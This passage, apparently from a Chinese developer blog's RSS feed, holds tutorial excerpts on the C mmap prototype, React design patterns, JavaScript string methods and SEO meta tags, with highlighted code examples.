&lt;h2 id="api详解"&gt;API详解&lt;/h2&gt;
&lt;h3 id="mmap函数原型"&gt;mmap函数原型&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include&lt;/span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;sys/mman.h&amp;gt;&lt;/span&gt;&lt;span style="color:#75715e"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;mmap&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt;addr, &lt;span style="color:#75715e"&gt;// 建议的映射起始地址，通常传NULL让系统决定
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;size_t&lt;/span&gt; length, &lt;span style="color:#75715e"&gt;// 映射区域的长度（字节）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; prot, &lt;span style="color:#75715e"&gt;// 内存保护标志（可读/可写/可执行）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; flags, &lt;span style="color:#75715e"&gt;// 映射类型标志
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; fd, &lt;span style="color:#75715e"&gt;// 文件描述符
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;off_t&lt;/span&gt; offset &lt;span style="color:#75715e"&gt;// 文件偏移量（必须是页大小的整数倍）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 返回值：成功返回映射区域的起始地址，失败返回MAP_FAILED
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="参数详解"&gt;参数详解&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;prot（内存保护标志）&lt;/strong&gt;：&lt;/p&gt;</description></item><item><title>react 组件设计模式</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-021/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-021/</guid><description>&lt;p&gt;首先我们想一个问题，那就是 &lt;strong&gt;为什么要学习设计模式？&lt;/strong&gt; 原因我总结有以下几个方面。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. 功能复杂，逻辑复用问题。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;首先 React 灵活多变性，就决定了 React 项目可以应用多种设计模式。但是这些设计模式的产生也确实办了实事:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;场景一：&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在一个项目中，全局有一个状态，可以称之为 theme （主题），那么有很多 UI 功能组件需要这个主题，而且这个主题是可以切换的，就像 github 切换暗黑模式一样，那么如何优雅的实现这个功能呢？&lt;/p&gt;
&lt;p&gt;这个场景如果我们用 React 的&lt;strong&gt;提供者模式&lt;/strong&gt;，就能轻松搞定了，通过 &lt;code&gt;context&lt;/code&gt; 保存全局的主题，然后将 &lt;code&gt;theme&lt;/code&gt; 通过 &lt;code&gt;Provider&lt;/code&gt; 形式传递下去，需要 theme ，那么消费 context ，就可以了，这样的好处是，只要 theme 改变，消费 context 的组件就会重新更新，达到了切换主题的目的。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;场景二：&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;表单设计场景也需要一定程度上的 React 的设计模式，首先对于表单状态的整体验证需要外层的 &lt;code&gt;Form&lt;/code&gt; 绑定事件控制，调度表单的状态下发，验证功能。内层对于每一个表单控件还需要 &lt;code&gt;FormItem&lt;/code&gt; 收集数据，让控件变成受控的。 这样的 &lt;code&gt;Form&lt;/code&gt; 和 &lt;code&gt;FormItem&lt;/code&gt; 方式，就是通过&lt;strong&gt;组合模式&lt;/strong&gt;实现的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 培养设计能力，编程能力&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;熟练运用 React 的设计模式，可以培养开发者的设计能力，比如 &lt;strong&gt;&lt;code&gt;HOC&lt;/code&gt; 的设计&lt;/strong&gt; ，&lt;strong&gt;公共组件的设计&lt;/strong&gt; ，&lt;strong&gt;自定义 hooks 的设计&lt;/strong&gt;，一些开源的优秀的库就是通过 React 的灵活性和优秀的设计模式实现的。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;例子：&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;比如在 React 状态管理工具中，无论是 &lt;code&gt;react-redux&lt;/code&gt; ，还是 &lt;code&gt;mobx-react&lt;/code&gt;，一方面想要把 &lt;code&gt;state&lt;/code&gt; 和 &lt;code&gt;dispatch&lt;/code&gt; 函数传递给组件，另一方面订阅 state 变化，来促使业务组件更新，那么整个流程中，需要一个或多个 HOC 来搞定。于是 react-redux 提供了 &lt;code&gt;connect&lt;/code&gt;，mobx-react 提供了 &lt;code&gt;inject&lt;/code&gt; ，&lt;code&gt;observer&lt;/code&gt; 等优秀的 hoc。由此可见，学会 React 的设计模式，有助于开发者小到编写公共组件，大到开发开源项目。&lt;/p&gt;</description></item><item><title>字符串常见方法</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-021/</link><pubDate>Fri, 08 Nov 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-021/</guid><description>&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-021/image-01.webp"&gt;&lt;/p&gt;
&lt;h3 id="1-获取字符串长度"&gt;1. 获取字符串长度&lt;/h3&gt;
&lt;p&gt;JavaScript中的字符串有一个length属性，该属性可以用来获取字符串的长度：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;str&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;hello&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;str&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;length&lt;/span&gt; &lt;span style="color:#75715e"&gt;// 输出结果：5
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="2-获取字符串指定位置的值"&gt;2. 获取字符串指定位置的值&lt;/h3&gt;
&lt;p&gt;charAt()和charCodeAt()方法都可以通过索引来获取指定位置的值：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;charAt() 方法获取到的是指定位置的字符；&lt;/li&gt;
&lt;li&gt;charCodeAt()方法获取的是指定位置字符的Unicode值。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="1charat"&gt;（1）charAt()&lt;/h4&gt;
&lt;p&gt;charAt() 方法可以返回指定位置的字符。其语法如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;string&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;charAt&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;index&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;index表示字符在字符串中的索引值：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;str&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;hello&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;str&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;charAt&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;) &lt;span style="color:#75715e"&gt;// 输出结果：e
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;我们知道，字符串也可以通过索引值来直接获取对应字符，那它和charAt()有什么区别呢？来看例子：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;str&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;hello&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;str&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;charAt&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;) &lt;span style="color:#75715e"&gt;// 输出结果：e
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;str&lt;/span&gt;[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;] &lt;span style="color:#75715e"&gt;// 输出结果：e
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;str&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;charAt&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;) &lt;span style="color:#75715e"&gt;// 输出结果：&amp;#39;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;str&lt;/span&gt;[&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;] &lt;span style="color:#75715e"&gt;// 输出结果：undefined
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;可以看到，当index的取值不在str的长度范围内时，str[index]会返回undefined，而charAt(index)会返回空字符串；除此之外，str[index]不兼容ie6-ie8，charAt(index)可以兼容。&lt;/p&gt;
&lt;h4 id="2charcodeat"&gt;（2）charCodeAt()&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;charCodeAt()&lt;/code&gt;：该方法会返回指定索引位置字符的 Unicode 值，返回值是 0 - 65535 之间的整数，表示给定索引处的 UTF-16 代码单元，如果指定位置没有字符，将返回 &lt;strong&gt;NaN&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;str&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;abcdefg&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;str&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;charCodeAt&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)); &lt;span style="color:#75715e"&gt;// &amp;#34;b&amp;#34; --&amp;gt; 98
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;通过这个方法，可以获取字符串中指定Unicode编码值范围的字符。比如，数字0～9的Unicode编码范围是: 48～57，可以通过这个方法来筛选字符串中的数字，当然如果你更熟悉正则表达式，会更方便。&lt;/p&gt;
&lt;h3 id="3-检索字符串是否包含特定序列"&gt;3. 检索字符串是否包含特定序列&lt;/h3&gt;
&lt;p&gt;这5个方法都可以用来检索一个字符串中是否包含特定的序列。其中前两个方法得到的指定元素的索引值，并且只会返回第一次匹配到的值的位置。后三个方法返回的是布尔值，表示是否匹配到指定的值。&lt;/p&gt;
&lt;p&gt;注意：这5个方法都对大小写敏感！&lt;/p&gt;
&lt;h4 id="1indexof"&gt;（1）indexOf()&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;indexOf()&lt;/code&gt;：查找某个字符，&lt;strong&gt;有则返回第一次匹配到的位置&lt;/strong&gt;，否则返回-1，其语法如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;string&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;indexOf&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;searchvalue&lt;/span&gt;,&lt;span style="color:#a6e22e"&gt;fromindex&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;该方法有两个参数：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;searchvalue：必需，规定需检索的字符串值；&lt;/li&gt;
&lt;li&gt;fromindex：可选的整数参数，规定在字符串中开始检索的位置。它的合法取值是 0 到 string.length - 1。如省略该，则从字符串的首字符开始检索。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;str&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;abcdefgabc&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;str&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;indexOf&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;a&amp;#34;&lt;/span&gt;)); &lt;span style="color:#75715e"&gt;// 输出结果：0
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;str&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;indexOf&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;z&amp;#34;&lt;/span&gt;)); &lt;span style="color:#75715e"&gt;// 输出结果：-1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;str&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;indexOf&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;c&amp;#34;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;)) &lt;span style="color:#75715e"&gt;// 输出结果：9
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="2lastindexof"&gt;（2）lastIndexOf()&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;lastIndexOf()&lt;/code&gt;：查找某个字符，有则返回最后一次匹配到的位置，否则返回-1&lt;/p&gt;</description></item><item><title>SEO</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/html/seo/</link><pubDate>Tue, 05 Nov 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/html/seo/</guid><description>&lt;h2 id="-前言"&gt;🌻 前言&lt;/h2&gt;
&lt;p&gt;SEO 代表搜寻引擎最佳化/搜寻引擎优化(英文全名Search Engine Optimization，简称SEO)，是指通过了解搜寻引擎的自然排名的算法逻辑，以提高目标网站在有关搜寻引擎内排名的方式。&lt;/p&gt;
&lt;p&gt;网站的 SEO 至关重要，它可以让你的网站获得更好的排名和流量，从而提高网站知名度。对于一些盈利的网站，做好seo，还可以以低成本提高投资回报率。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;本文将为你带来非常全面的SEO方案🔥🔥🔥，当然了，网站SEO是长线工作，在做好一些基础的配置之后，更重要的是后期的维护，比如定期更新网站动态文章，不断寻找优质外链资源等🤌。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本文将以三个层面展开：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;TDK优化&lt;/li&gt;
&lt;li&gt;网站质量&lt;/li&gt;
&lt;li&gt;SEO手段（10种手段）&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="-一tdk优化"&gt;❄️ 一、TDK优化&lt;/h2&gt;
&lt;p&gt;TDK是Title(页面标题)、Meta Description（页面描述）和Meta Keywords（页面关键词）的缩写，对网站的这三个信息的提炼是网站SEO的重要环节。&lt;/p&gt;
&lt;p&gt;但是由于一些原因，各大主流搜索引擎基本都已经&lt;strong&gt;大大降低甚至移除了 &lt;code&gt;&amp;lt;keywords&amp;gt;&lt;/code&gt; 对排名的影响&lt;/strong&gt;。例如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;百度：几乎放弃了对&lt;keyword&gt;标签的参考价值。参考：百度官方称：keywords这个meta标签已经被丢进历史垃圾堆了；&lt;/li&gt;
&lt;li&gt;谷歌：目前几乎已经不考虑这个标签对于SEO的作用了，它可能更侧重于内容的相关性以及反向链接的考量。参考&lt;a href="https://developers.google.com/search/blog/2009/09/google-does-not-use-keywords-meta-tag?hl=zh-cn"&gt;：# Google 不会将关键字元标记用于网页排名&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;必应：目前 keywords 标签仍然对排名有一定影响；&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="一title标签-网站名片"&gt;（一）title标签-网站名片&lt;/h2&gt;
&lt;p&gt;title标签相当于网站的名片，他会直接显示在搜索结果中。一个好的标题势必可以为网站带来流量，从而提升网站排名。&lt;br&gt;
注意：网站标题避免冗长&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;例如&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;：&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;title&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;掘金&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/title&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="二meta标签-网站信息"&gt;（二）META标签-网站信息&lt;/h2&gt;
&lt;p&gt;META标签是网页head区的辅助性标签，它的作用是经过配置一些参数用以描述页面属性。&lt;strong&gt;目前几乎所有搜索引擎都使用网上机器人自动查找meta值来给网页分类。&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="21-meta标签如何使用"&gt;2.1 meta标签如何使用&lt;/h3&gt;
&lt;p&gt;meta标签的&lt;code&gt;属性&lt;/code&gt;有两种：&lt;code&gt;name&lt;/code&gt;和&lt;code&gt;http- equiv&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;🍀 &lt;strong&gt;&amp;ldquo;name&amp;quot;属性有以下配置项：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Keywords(关键词，现在不再重要了)：逗号分隔的关键词列表（告诉搜索引擎页面是与什么相关的）；&lt;/li&gt;
&lt;li&gt;description(网站内容描述，很重要)：页面描述。搜索引擎会把这个描述显示在搜索结果中；&lt;/li&gt;
&lt;li&gt;format-detection：格式检测，比如禁止识别电话，邮箱等；&lt;/li&gt;
&lt;li&gt;author：作者的名字；&lt;/li&gt;
&lt;li&gt;Robots：用来告诉搜索机器人哪些页面需要索引，哪些页面不需要索引；&lt;/li&gt;
&lt;li&gt;theme-color：网站主题色；&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;keywords&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;content&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;掘金,稀土,Vue.js,前端面试题,Kotlin,ReactNative,Python&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;content&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;掘金是面向全球中文开发者的技术内容分享与交流平台。我们通过技术文章、沸点、课程、直播等产品和服务，打造一个激发开发者创作灵感，激励开发者沉淀分享，陪伴开发者成长的综合类技术社区。&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;format-detection&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;content&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;telephone=no&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;author&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;content&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;cece&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;Meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Robots&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Content&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Nofollow&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;/**
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;all：文件将被检索，且页面上的链接可以被查询；
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;none：文件将不被检索，且页面上的链接不可以被查询；(和 &amp;#34;noindex, no follow&amp;#34; 起相同作用)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;index：文件将被检索；（让robot/spider登录）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;follow：页面上的链接可以被查询；
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;noindex：文件将不被检索，但页面上的链接可以被查询；(不让robot/spider登录)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;nofollow：文件将不被检索，页面上的链接可以被查询。(不让robot/spider顺着此页的连接往下探找)
